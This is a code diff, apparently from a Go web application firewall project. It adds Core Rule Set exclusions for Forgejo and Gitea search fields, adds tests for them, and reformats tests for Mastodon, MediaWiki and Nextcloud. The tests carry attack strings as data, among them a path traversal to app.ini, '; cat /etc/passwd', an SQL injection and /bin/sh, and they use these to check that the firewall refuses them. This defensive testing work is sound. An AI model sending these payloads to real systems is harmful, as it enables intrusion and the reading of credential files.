+        ctl:ruleRemoveTargetById=932260;ARGS:q"
+
+# The API's search of a job's log sends the text searched for in q, which
+# skips these rules there:
+#   930120: .htaccess
+#   932120: powershell
+#   932250: ls -la
+#   932260: python3
+SecRule REQUEST_FILENAME \
+    "@rx ^/api/v1/repos/[^/]+/[^/]+/actions/jobs/[0-9]+/logs$" \
+    "id:900683,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932250;ARGS:q,\
+    ctl:ruleRemoveTargetById=932260;ARGS:q"

internal/coreruleset/forgejo_test.go

@@ -0,0 +1,115 @@
+package coreruleset_test
+
+import (
+	"net/http"
+	"slices"
+	"testing"
+)
+
+// forgejoSearches are Forgejo's searches whose q skips some rules: those of
+// a wiki, of releases and of a job's log, from the fifteenth change, and the
+// searches for a name, from the eighth. The search of code at a branch or tag
+// is not one of them: there, as on gitea's search of code, q lets these
+// attacks through.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var forgejoSearches = []string{
+	"/alice/tools/wiki/search",
+	"/alice/tools/releases",
+	"/api/v1/repos/alice/tools/releases",
+	"/api/v1/repos/alice/tools/actions/jobs/1/logs",
+	"/explore/repos",
+	"/explore/users",
+	"/alice/tools/branches",
+	"/alice/-/packages",
+	"/api/v1/packages/alice",
+	"/alice",
+}
+
+// forgejoAttacks are an SQL injection, a path traversal, a script injection
+// and a shell command after a ";", as query values.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var forgejoAttacks = []string{
+	sqlInjection, "..%2Fcustom%2Fconf%2Fapp.ini", scriptInjection, commandInjection,
+}
+
+func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	defaults, bodies := atDefaults(t), readingBodies(t)
+
+	for _, path := range forgejoSearches {
+		for _, attack := range forgejoAttacks {
+			if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
+				t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
+			}
+
+			// The same field in a form data body.
+			r := request{http.MethodPost, path, []string{formData}}
+			if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
+				t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
+			}
+		}
+	}
+}
+
+func TestForgejoExclusionsAreNarrow(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	crs := atDefaults(t)
+
+	// /bin/sh and the hard values, which q lets through on the searches of
+	// the fifteenth change and on those of branches and packages, stay
+	// refused in q on paths near them and in another field on them.
+	// /alice/wiki/search would be the code search of a repository named
+	// wiki, where the eighth change lets q through. Forgejo has no owner
+	// named api, so the paths under /api/ here are not searches.
+	for _, target := range []string{
+		"/alice/tools/wiki/Home?q=",
+		"/alice/tools/wiki/search/x?q=",
+		"/api/wiki/search?q=",
+		"/alice/tools/wiki/search?other=",
+		"/alice/tools/search/branch?q=",
+		"/alice/tools/search/commit/0123abc?q=",
+		"/alice/tools/src/branch/main?q=",
+		"/api/tools/search/branch/main?q=",
+		"/alice/tools/search/branch/main?other=",
+		"/alice/tools/releases/tag/v1.0?q=",
+		"/alice/tools/releases/latest?q=",
+		"/api/v1/releases?q=",
+		"/alice/tools/releases?other=",
+		"/api/v1/repos/alice/tools/actions/jobs/1?q=",
+		"/api/v1/repos/alice/tools/actions/runs/1/logs?q=",
+		"/alice/tools/actions/runs/1/jobs/0/logs?q=",
+		"/api/v1/repos/alice/tools/actions/jobs/1/logs?other=",
+		"/alice/tools/branches/x?q=",
+		"/alice/-/packages/npm/x?q=",
+		"/alice/tools/branches?other=",
+	} {
+		for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
+			if got := inspect(t, crs, get(target+value)); got.Score < threshold {
+				t.Errorf("%s%s let through: %+v", target, value, got)
+			}
+		}
+	}
+
+	// Referer keeps its rules on a page opened from a path near the code
+	// search at a branch or tag.
+	for _, path := range []string{
+		"/alice/tools/search/branch",
+		"/alice/tools/search/commit/0123abc",
+		"/api/tools/search/branch/main",
+	} {
+		for _, attack := range []string{scriptTag, injection} {
+			referer := "Referer: http://example.com" + path + "?q=" + attack
+			if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
+				t.Errorf("%s let through: %+v", referer, got)
+			}
+		}
+	}
+}

internal/coreruleset/gitea.conf

@@ -102,35 +102,67 @@ SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
 # name in q, which skips these rules there:
 #   930120: .profile
 #   932120: powershell-scripts
+#   932250: ls -la
 #   932260: python3-app
 #   944130: org.apache.commons.logging
 SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
-    [^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search)$" \
+    [^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search|\
+    api/v1/packages/[^/]+)$" \
     "id:900602,phase:1,pass,nolog,\
     ctl:ruleRemoveTargetById=930120;ARGS:q,\
     ctl:ruleRemoveTargetById=932120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932250;ARGS:q,\
     ctl:ruleRemoveTargetById=932260;ARGS:q,\
     ctl:ruleRemoveTargetById=944130;ARGS:q"
 
+# A branch or package name can hold a slash, as feat/docker-support and npm's
+# @scope/name do. So q on a repository's branches page and on an owner's
+# packages page also skips this rule:
+#   932160: /bin/sh
+SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/-/packages|[^/]+/[^/]+/branches)$" \
+    "id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
+
 # gitea's other searches for a name send it in q too, which skips only these
 # rules there:
 #   930120: .profile
 #   932120: powershell-scripts
+#   932250: ls -la
 #   932260: python3-app
 # The searches:
 #   - the dashboard's filter of repositories;
-#   - the repositories on a user's or an organisation's page, whose path has
-#     one segment;
 #   - the author filter of the issue and pull request lists;
 #   - the lists of users and organisations, and the API's search for users.
-SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+|repo/search|\
+SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|\
     explore/(?:users|organizations)|api/v1/users/search|\
     [^/]+/[^/]+/(?:issues|pulls)/posters)$" \
     "id:900603,phase:1,pass,nolog,\
     ctl:ruleRemoveTargetById=930120;ARGS:q,\
     ctl:ruleRemoveTargetById=932120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932250;ARGS:q,\
     ctl:ruleRemoveTargetById=932260;ARGS:q"
 
+# The repositories on a user's or an organisation's page are searched with q
+# too. Their path has one segment, so q skips these rules on every path of one
+# segment, other apps' pages such as /index.php included:
+#   930120: .profile
+#   932120: powershell-scripts
+#   932260: python3-app
+SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
+    "id:900604,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932260;ARGS:q"
+
+# On those pages q skips 932250 too, which refused ls -la, but only on a path
+# made of the characters a user's or an organisation's name may hold. Those are
+# letters, digits, -, _ and dots, the first a letter or digit, so
+# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
+# script's extension keeps it too, such as /index.php or /search.cgi.
+SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
+    "id:900606,phase:1,pass,nolog,chain"
+    SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
+        "t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
+
 # These requests name a file in the path, which skips these rules there:
 #   920500: notes.txt~
 #   934100: process.env.d.ts

internal/coreruleset/mastodon_test.go

@@ -106,26 +106,58 @@ var mastodonFormFields = []mastodonBodyField{
 	{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
 	{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
 	{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
-	{http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
+	{
-	{http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
+		http.MethodPost,
+		"/admin/domain_blocks",
+		"domain_block[private_comment]=",
+	},
+	{
+		http.MethodPost,
+		"/admin/domain_blocks",
+		"domain_block[public_comment]=",
+	},
 	{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
 	{http.MethodPost, mastodonRules, "rule[text]="},
 	{http.MethodPost, mastodonRules, "rule[hint]="},
 	{http.MethodPost, "/admin/announcements", "announcement[text]="},
 	{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
-	{http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
+	{
+		http.MethodPost,
+		mastodonBranding,
+		"form_admin_settings[site_short_description]=",
+	},
 	{
 		http.MethodPost, "/admin/settings/about",
 		"form_admin_settings[site_extended_description]=",
 	},
 	{http.MethodPost, "/filters", "custom_filter[title]="},
-	{http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
+	{
-	{http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
+		http.MethodPost,
-	{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
+		"/filters",
+		"custom_filter[keywords_attributes][0][keyword]=",
+	},
+	{
+		http.MethodPost,
+		"/settings/applications",
+		"doorkeeper_application[name]=",
+	},
+	{
+		http.MethodPost,
+		"/settings/applications",
+		"doorkeeper_application[website]=",
+	},
 	{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
 	{http.MethodPost, "/settings/migration", "account_migration[acct]="},
-	{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
+	{
-	{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
+		http.MethodPost,
+		mastodonAccount,
+		"user[invite_request_attributes][text]=",
+	},
+	{
+		http.MethodPost,
+		"/admin/accounts/1/action",
+		"admin_account_action[text]=",
+	},
 	{http.MethodPost, "/admin/report_notes", "report_note[content]="},
 	{
 		http.MethodPost, "/admin/account_moderation_notes",
@@ -149,12 +181,20 @@ var mastodonPasswordForms = []mastodonBodyField{
 	{http.MethodPost, mastodonAccount, mastodonPassword},
 	{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
 	{http.MethodPost, mastodonAccount, "user[current_password]="},
-	{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
+	{
+		http.MethodPost,
+		"/settings/migration",
+		"account_migration[current_password]=",
+	},
 	{
 		http.MethodPost, "/settings/migration/redirect",
 		"form_redirect[current_password]=",
 	},
-	{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
+	{
+		http.MethodPost,
+		"/settings/delete",
+		"form_delete_confirmation[password]=",
+	},
 	{http.MethodPost, mastodonSignUp, passwordField},
 }
 
@@ -181,12 +221,28 @@ var mastodonJSONFields = []mastodonBodyField{
 	},
 	{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
 	{http.MethodPatch, mastodonEditor, `{"note":%s}`},
-	{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
+	{
-	{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
+		http.MethodPatch,
+		mastodonEditor,
+		`{"fields_attributes":[{"name":%s}]}`,
+	},
+	{
+		http.MethodPatch,
+		mastodonEditor,
+		`{"fields_attributes":[{"value":%s}]}`,
+	},
 	{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
 	{http.MethodPatch, mastodonProfile, `{"note":%s}`},
-	{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
+	{
-	{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
+		http.MethodPatch,
+		mastodonProfile,
+		`{"fields_attributes":[{"name":%s}]}`,
+	},
+	{
+		http.MethodPatch,
+		mastodonProfile,
+		`{"fields_attributes":[{"value":%s}]}`,
+	},
 	{http.MethodPost, mastodonReports, `{"comment":%s}`},
 	{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
 	{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
@@ -195,8 +251,16 @@ var mastodonJSONFields = []mastodonBodyField{
 	{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
 	{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
 	{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
-	{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
+	{
-	{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
+		http.MethodPost,
+		mastodonInbox,
+		`{"object":{"attachment":[{"name":%s}]}}`,
+	},
+	{
+		http.MethodPost,
+		mastodonInbox,
+		`{"object":{"attachment":[{"value":%s}]}}`,
+	},
 	{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
 	{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
 }
@@ -239,7 +303,12 @@ func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
 	}
 
 	r := request{sent.method, sent.target, []string{jsonBody}}
-	got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
+	got, _ := inspectBody(
+		t,
+		readingBodies(t),
+		r,
+		fmt.Sprintf(sent.field, quoted),
+	)
 
 	return got.Score
 }
@@ -270,7 +339,11 @@ func mastodonScores(
 	}
 
 	for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
-		scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
+		scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(
+			t,
+			sent,
+			value,
+		)
 	}
 
 	unescaped, err := url.QueryUnescape(value)
@@ -279,7 +352,11 @@ func mastodonScores(
 	}
 
 	for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
-		scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
+		scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(
+			t,
+			sent,
+			unescaped,
+		)
 	}
 
 	return scores
@@ -316,8 +393,11 @@ func TestMastodonPasswordsPass(t *testing.T) {
 	t.Run("JSON", func(t *testing.T) {
 		t.Parallel()
 
-		r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
+		r := request{
-			[]string{jsonBody}}
+			mastodonPasswordJSON.method,
+			mastodonPasswordJSON.target,
+			[]string{jsonBody},
+		}
 
 		wantRandomPasswordsPass(t, r, "password")
 		wantPasswordAttacksPass(t, r, "password")
@@ -332,8 +412,16 @@ func TestMastodonPasswordConfirmationPasses(t *testing.T) {
 
 	wantPasswordFieldsPass(t, []passwordFields{
 		{"/auth/challenge", formData, challenge},
-		{"/settings/two_factor_authentication/otp_authentication", formData, challenge},
+		{
-		{"/settings/two_factor_authentication_methods/disable", formData, challenge},
+			"/settings/two_factor_authentication/otp_authentication",
+			formData,
+			challenge,
+		},
+		{
+			"/settings/two_factor_authentication_methods/disable",
+			formData,
+			challenge,
+		},
 	})
 }
 
@@ -508,7 +596,11 @@ func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
 		{mastodonReport, "false"},
 		{mastodonForwardedReport, "remote.example"},
 	} {
-		report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
+		report := mastodonBodyField{
+			http.MethodPost,
+			mastodonReports,
+			sent.body,
+		}
 		if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
 			t.Errorf("%v refused: %d", report, got)
 		}
@@ -572,12 +664,20 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
 	}
 
 	// Elsewhere both keep the two rules.
-	signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
+	signIn := mastodonBodyField{
+		http.MethodPost,
+		mastodonSignIn,
+		mastodonUsername.field,
+	}
 	if mastodonForm(t, signIn, "python3") < mastodonThreshold {
 		t.Errorf("%v let through", signIn)
 	}
 
-	statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
+	statuses := mastodonBodyField{
+		http.MethodPost,
+		mastodonStatuses,
+		mastodonHashtag.field,
+	}
 	if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
 		t.Errorf("%v let through", statuses)
 	}
@@ -617,7 +717,11 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
 	// Elsewhere the address keeps every rule.
 	for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
 		sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
-		if mastodonForm(t, sent, "python3%40example.com") < mastodonThreshold {
+		if mastodonForm(
+			t,
+			sent,
+			"python3%40example.com",
+		) < mastodonThreshold {
 			t.Errorf("%v let through", sent)
 		}
 	}

internal/coreruleset/mediawiki_test.go

@@ -221,7 +221,13 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 
 			got, _ := inspectBody(t, crs, r, sent.field+attack)
 			if got.Score < mediawikiThreshold {
-				t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
+				t.Errorf(
+					"POST %s %s%s let through: %+v",
+					sent.target,
+					sent.field,
+					attack,
+					got,
+				)
 			}
 		}
 	}
@@ -231,7 +237,11 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 		scriptTag,
 	} {
 		for _, field := range []string{"source", "comment"} {
-			r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
+			r := request{
+				http.MethodPut,
+				mediawikiRESTPage,
+				[]string{jsonBody},
+			}
 			body := `{"` + field + `":"` + attack + `"}`
 
 			got, _ := inspectBody(t, crs, r, body)
@@ -270,15 +280,31 @@ func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
 		{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
 		{mediawikiSignIn + "&" + loginContinue, formData, retype},
 		{mediawikiAccountChange + "?" + changeAction, formData, change},
-		{mediawikiAccountChange + subpage + "?" + changeAction, formData, change},
+		{
-		{"/index.php/Special:ChangeCredentials?" + changeAction, formData, change},
+			mediawikiAccountChange + subpage + "?" + changeAction,
+			formData,
+			change,
+		},
+		{
+			"/index.php/Special:ChangeCredentials?" + changeAction,
+			formData,
+			change,
+		},
 		{
 			"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
 			formData, change,
 		},
-		{"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change},
+		{
+			"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
+			formData,
+			change,
+		},
 		// A German wiki's names for the same pages.
-		{"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype},
+		{
+			"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
+			formData,
+			retype,
+		},
 		{
 			"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
 			formData, retype,
@@ -319,7 +345,12 @@ func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
 
 		body := formBody(sent.name, "' OR '1'='1")
 		if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
-			t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
+			t.Errorf(
+				"POST %s %s let through: %+v",
+				sent.target,
+				sent.name,
+				got,
+			)
 		}
 	}
 }
@@ -350,7 +381,9 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
 
 	crs := atDefaults(t)
 
-	targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
+	targets := append(
+		[]string{"/load.php?modules="},
+		mediawikiQueryFields...)
 
 	for _, target := range targets {
 		got := inspect(t, crs, get(target+mediawikiCommandAttack))
@@ -367,7 +400,12 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
 
 		got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
 		if got.Score < mediawikiThreshold {
-			t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
+			t.Errorf(
+				"POST %s %s let through: %+v",
+				sent.target,
+				sent.field,
+				got,
+			)
 		}
 	}
 
@@ -382,7 +420,11 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
 	// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
 	// holds no ";", "|", "&", backtick or "{", and only when the body sends
 	// it once.
-	r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
+	r = request{
+		http.MethodPost,
+		mediawikiWatchlist.target,
+		[]string{formData},
+	}
 
 	for _, attack := range []string{
 		mediawikiCommandAttack,
@@ -428,7 +470,13 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
 
 			got, _ := inspectBody(t, crs, r, sent.field+value)
 			if got.Score >= mediawikiThreshold {
-				t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
+				t.Errorf(
+					"POST %s %s%s refused: %+v",
+					sent.target,
+					sent.field,
+					value,
+					got,
+				)
 			}
 		}
 
@@ -444,7 +492,11 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
 		}
 
 		// A watchlist holds the title on its second line, as recorded.
-		r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
+		r := request{
+			http.MethodPost,
+			mediawikiWatchlist.target,
+			[]string{formData},
+		}
 		body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
 
 		if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
@@ -517,7 +569,11 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
 		{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
 		{mediawikiAPI + "?action=edit", "text=python3"},
 	} {
-		r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
+		r := request{
+			http.MethodPost,
+			sent.target + "&" + sent.field,
+			[]string{formData},
+		}
 
 		got, _ := inspectBody(t, crs, r, sent.field)
 		if got.Score < mediawikiThreshold {

internal/coreruleset/nextcloud_test.go

@@ -107,7 +107,12 @@ var nextcloudBodies = []nextcloudBody{
 		http.MethodPut, nextcloudUsers + "/admin",
 		jsonBody, `{"key":"headline","value":"%s"}`,
 	},
-	{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
+	{
+		http.MethodPost,
+		"/ocs/v2.php/cloud/groups",
+		jsonBody,
+		`{"groupid":"%s"}`,
+	},
 	{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
 	{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
 	{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
@@ -115,17 +120,42 @@ var nextcloudBodies = []nextcloudBody{
 		http.MethodPost, "/apps/theming/ajax/updateStylesheet",
 		jsonBody, `{"setting":"slogan","value":"%s"}`,
 	},
-	{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
+	{
-	{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
+		http.MethodPost,
+		nextcloudSave,
+		jsonBody,
+		`{"filePath":"/%s/Readme.md"}`,
+	},
+	{
+		http.MethodPost,
+		"/remote.php/dav/systemtags/",
+		jsonBody,
+		`{"name":"%s"}`,
+	},
 	{
 		nextcloudSearch, "/remote.php/dav/", xmlBody,
 		`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
 			`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
 			`</d:like></d:where></d:basicsearch></d:searchrequest>`,
 	},
-	{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
+	{
-	{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
+		nextcloudMkcol,
-	{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
+		nextcloudCalendars + "work",
+		xmlBody,
+		nextcloudNewCollection,
+	},
+	{
+		nextcloudMkcol,
+		nextcloudAddressBooks + "team",
+		xmlBody,
+		nextcloudNewCollection,
+	},
+	{
+		nextcloudMkcalendar,
+		nextcloudCalendars + "work/",
+		xmlBody,
+		nextcloudNewCalendar,
+	},
 }
 
 // The WebDAV methods that make a calendar or an address book.
@@ -187,7 +217,12 @@ var nextcloudDocument = nextcloudBody{
 //nolint:gochecknoglobals // a constant cannot be a list
 var nextcloudTexts = []nextcloudBody{
 	nextcloudDocument,
-	{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
+	{
+		http.MethodPost,
+		"/remote.php/dav/comments/files/1",
+		jsonBody,
+		`{"message":"%s"}`,
+	},
 	{
 		nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
 		`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
@@ -195,7 +230,12 @@ var nextcloudTexts = []nextcloudBody{
 			`</d:propertyupdate>`,
 	},
 	{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
-	{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
+	{
+		http.MethodPost,
+		nextcloudShares,
+		jsonBody,
+		`{"path":"/Notes","note":"%s"}`,
+	},
 	{
 		http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
 		formData, "note=%s",
@@ -223,7 +263,10 @@ const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
 // nextcloudBodyScore returns the request that sends value, which is not
 // escaped, in sent's body, and the score crs gives it.
 func nextcloudBodyScore(
-	t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
+	t *testing.T,
+	crs *coreruleset.CoreRuleSet,
+	sent nextcloudBody,
+	value string,
 ) (string, int) {
 	t.Helper()
 
@@ -258,7 +301,11 @@ func nextcloudFieldScores(t *testing.T, value string) map[string]int {
 	scores := map[string]int{}
 
 	for _, target := range nextcloudQueryFields {
-		scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
+		scores["GET "+target+value] = inspect(
+			t,
+			crs,
+			get(target+value),
+		).Score
 	}
 
 	for _, sent := range nextcloudFormFields {
@@ -350,11 +397,23 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
 		{"/apps/user_ldap/renewpassword", formData, change},
 		{"/index.php/apps/user_ldap/renewpassword", formData, change},
 		{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
-		{"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
+		{
+			"/index.php/apps/encryption/ajax/updatePrivateKeyPassword",
+			formData,
+			change,
+		},
 		{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
-		{"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
+		{
+			"/index.php/apps/encryption/ajax/changeRecoveryPassword",
+			formData,
+			recovery,
+		},
 		{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
-		{"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
+		{
+			"/index.php/apps/encryption/ajax/adminRecovery",
+			formData,
+			adminRecovery,
+		},
 		{"/login/confirm", jsonBody, password},
 		{"/index.php/login/confirm", formData, password},
 		{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
@@ -409,7 +468,12 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
 		{jsonRequest, jsonPassword("; cat /etc/passwd")},
 	} {
 		if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
-			t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
+			t.Errorf(
+				"%s %.40s refused: %+v",
+				sent.r.headers[0],
+				sent.body,
+				got,
+			)
 		}
 	}
 
@@ -424,7 +488,12 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
 		{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
 	} {
 		if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
-			t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
+			t.Errorf(
+				"%s %.40s let through: %+v",
+				sent.r.headers[0],
+				sent.body,
+				got,
+			)
 		}
 	}
 
@@ -452,7 +521,12 @@ func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
 
 	document := "Backup steps:\n\n" + nextcloudCodeBlock
 
-	request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
+	request, score := nextcloudBodyScore(
+		t,
+		readingBodies(t),
+		nextcloudDocument,
+		document,
+	)
 	if score >= nextcloudThreshold {
 		t.Errorf("%s refused: %d", request, score)
 	}
@@ -499,7 +573,10 @@ func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
 	crs := atDefaults(t)
 
 	cookie := func(value string) request {
-		return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
+		return get(
+			"/apps/files/",
+			"Cookie: nc_sameSiteCookielax=true; nc_username="+value,
+		)
 	}
 
 	for _, value := range hardValues {
@@ -556,20 +633,40 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
 
 	// MKCALENDAR only where the calendars are.
 	for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
-		wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
+		wantResult(
+			t,
+			crs,
+			request{nextcloudMkcalendar, target, nil},
